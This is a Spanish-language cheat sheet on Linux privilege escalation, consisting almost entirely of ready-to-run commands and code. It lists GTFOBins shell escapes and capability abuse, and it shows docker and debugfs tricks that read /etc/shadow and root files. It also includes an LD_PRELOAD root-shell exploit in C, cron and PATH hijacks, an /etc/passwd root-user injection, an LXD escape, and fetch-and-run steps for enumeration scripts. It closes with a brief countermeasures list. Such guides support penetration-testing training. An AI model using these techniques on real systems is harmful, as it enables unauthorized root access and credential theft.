Linux Privilege Escalation - Guía Completa
1. Introducción
La escalada de privilegios en Linux es el proceso de obtener acceso de nivel superior (típicamente root) desde un usuario con privilegios limitados. Esta guía cubre todas las técnicas, herramientas y metodologías.
2. Fases de Enumeración
2.1. Enumeración Inicial
# Información del sistema
uname -a
cat /etc/issue
cat /etc/os-release
# Usuario actual y privilegios
id
whoami
sudo -l
# Grupos del usuario
groups
id usuario
# Procesos activos
ps aux
ps -ef
2.2. Enumeración del Sistema
# Montaje de archivos
mount
df -h
# Variables de entorno
env
printenv
# Servicios activos
systemctl list-units --type=service
service --status-all
# Puertos escuchando
netstat -tulpn
ss -tulpn
3. SUID/SGID
Los binarios con permisos SUID/SGID son uno de los vectores más comunes.
3.1. Enumeración
# Buscar archivos SUID
find / -perm -4000 2>/dev/null
# Buscar archivos SGID
find / -perm -2000 2>/dev/null
# Buscar ambos
find / -perm /6000 2>/dev/null
# SUID owned por root
find / -perm -4000 -user root 2>/dev/null
# SUID escribible (peligroso)
find / -perm -4000 -type f -writable 2>/dev/null
# Output detallado
find / -perm /6000 -ls 2>/dev/null
3.2. Binarios Comunes Explotables
| Binario | Comando de Explotación |
|---|---|
| find | find . -exec /bin/sh \; -exec |
| nmap | nmap --interactive luego !sh |
| vim | vim -c '!sh' |
| less | less /etc/passwd !/bin/sh |
| more | more /etc/passwd !/bin/sh |
| awk | awk 'BEGIN {system("/bin/sh")}' |
| sed | sed -n '1e /bin/sh' |
| python | python -c "import os;os.setuid(0);os.system('/bin/sh')" |
| perl | perl -e 'exec "/bin/sh"' |
| ruby | ruby -e "exec '/bin/sh'" |
| php | php -r "system('/bin/sh')" |
Consulta GTFOBins para la lista completa.
4. Capabilities
Linux Capabilities dividen los privilegios de root en unidades granulares.
4.1. Enumeración
# Listar capabilities del sistema
getcap -r / 2>/dev/null
# Capabilities de un archivo específico
getcap /usr/bin/python3
# Capabilities de procesos
pscap -a
capsh --print
4.2. Capabilities de Alto Valor
| Capability | Descripción | Explotación |
|---|---|---|
| CAP_SETUID | Cambiar UID | python3 -c "import os; os.setuid(0); os.system('/bin/bash')" |
| CAP_SYS_ADMIN | Admin del sistema | Montar FS, cargar módulos kernel |
| CAP_DAC_READ_SEARCH | Bypass lectura | Leer cualquier archivo |
| CAP_DAC_OVERRIDE | Bypass escritura | Escribir cualquier archivo |
| CAP_NET_RAW | Raw sockets | Sniffing, spoofing |
4.3. Explotación por Binario
# Python con CAP_SETUID
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
# Perl
perl -e "use POSIX qw(setuid); setuid(0); exec '/bin/bash'"
# PHP
php -r "posix_setuid(0); system('/bin/bash');"
5. Grupos Privilegiados
5.1. Grupos de Alto Valor
| Grupo | Permiso | Cómo explotar |
|---|---|---|
| sudo | Ejecutar como root | sudo su |
| wheel | Similar a sudo | sudo su |
| disk | Acceso a /dev/sdX | debugfs -R "cat /root/root.txt" /dev/sda1 |
| adm | Leer /var/log | grep -r "password" /var/log/ |
| video | Acceso a /dev/fb0 | cat /dev/fb0 > screen.raw |
| audio | Acceso a /dev/audio | Sniffing de audio |
| docker | Acceso al daemon | docker run -v /:/host busybox cat /host/etc/shadow |
| lxd | Gestión de contenedores | lxc config device add container1 root disk path=/mnt/root source=/ |
5.2. Grupo disk
# Leer archivo del sistema
debugfs -R "cat /root/root.txt" /dev/sda1
# Buscar texto en disco
strings /dev/sda1 | grep -iE "user\.txt|password"
5.3. Grupo adm
# Buscar credenciales en logs
grep -rE "password|token|api_key|secret" /var/log/
tail -f /var/log/auth.log
5.4. Grupo video
# Capturar framebuffer
cat /dev/fb0 > screen.raw
magick -size 1920x1080 -depth 8 rgb:screen.raw captura.png
6. LD_PRELOAD
6.1. Requisito
El sudoers debe permitir pasar variables de entorno:
Defaults env_keep += "LD_PRELOAD"
Verificar con sudo -l.
6.2. El exploit
exploit.c:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Compilación y ejecución:
gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles
sudo LD_PRELOAD=./exploit.so /usr/bin/find
7. Servicios Vulnerables
# Listar servicios
systemctl list-units --type=service --state=running
# Scripts de inicio escribibles
find /etc/init.d/ -writable
ls -la /etc/systemd/system/
# Buscar configs escribibles
find /etc/ -name "*.conf" -writable
8. Variables de Entorno y PATH
# Explotación via PATH
export PATH=.:$PATH
echo '/bin/sh' > ls
chmod +x ls
./ls
9. Cron Jobs
# Enumeración
ls -la /etc/cron.d/
crontab -l
# Explotación (si script es escribible)
echo 'chmod +s /bin/bash' > /path/to/script
10. sudo (Errores de Configuración)
sudo -l
# Buscar binarios GTFObins ejecutables con sudo
sudo nmap --interactive # luego !sh
sudo find . -exec /bin/sh \;
sudo vim -c '!sh'
11. /etc/passwd Escritible
# Agregar usuario root
echo 'root2:$1$hash$:0:0:root:/root:/bin/bash' >> /etc/passwd
12. Kernel Exploits
# Identificar kernel
uname -a
# Buscar exploits
searchsploit linux kernel <version>
# Linux Exploit Suggester
curl -L https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux_exploit_suggester.pl -o les.pl
perl les.pl
13. Docker / LXD
# Escalada via Docker (si estamos en grupo docker)
docker run -v /:/host busybox cat /host/etc/shadow
# Escalada via LXD
lxc config device add container1 root disk path=/mnt/root source=/ path=/
lxc start container1
lxc exec container1 -- chroot /mnt/root /bin/bash
14. Scripts de Enumeración Automática
14.1. LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh && ./linpeas.sh
14.2. Script Manual
#!/bin/bash
echo "=== Linux Privilege Escalation Enumeration ==="
echo "[*] Sistema"; uname -a; cat /etc/os-release
echo "[*] Usuario actual"; id; whoami
echo "[*] SUID files"; find / -perm 4000 2>/dev/null
echo "[*] Capabilities"; getcap -r / 2>/dev/null
echo "[*] sudo -l"; sudo -l 2>/dev/null
echo "[*] Cron jobs"; ls -la /etc/cron*; crontab -l
echo "[*] Procesos"; ps aux | grep -v root
echo "[*] Conexiones"; netstat -tulpn 2>/dev/null
15. Checklist
id/whoami/sudo -l— información básicafind / -perm 4000— SUIDgetcap -r /— Capabilitiesgroups— Grupos privilegiadossystemctl list-units— Servicioscrontab -l— Cron jobsuname -a— Kernel exploitsdocker ps/lxc list— Contenedores- Ejecutar
linpeas.sh
16. Contramedidas
- Mantener sistema actualizado
- Minimizar binarios SUID
- Usar capabilities en lugar de SUID
- Restringir sudo
- Monitorear scripts de inicio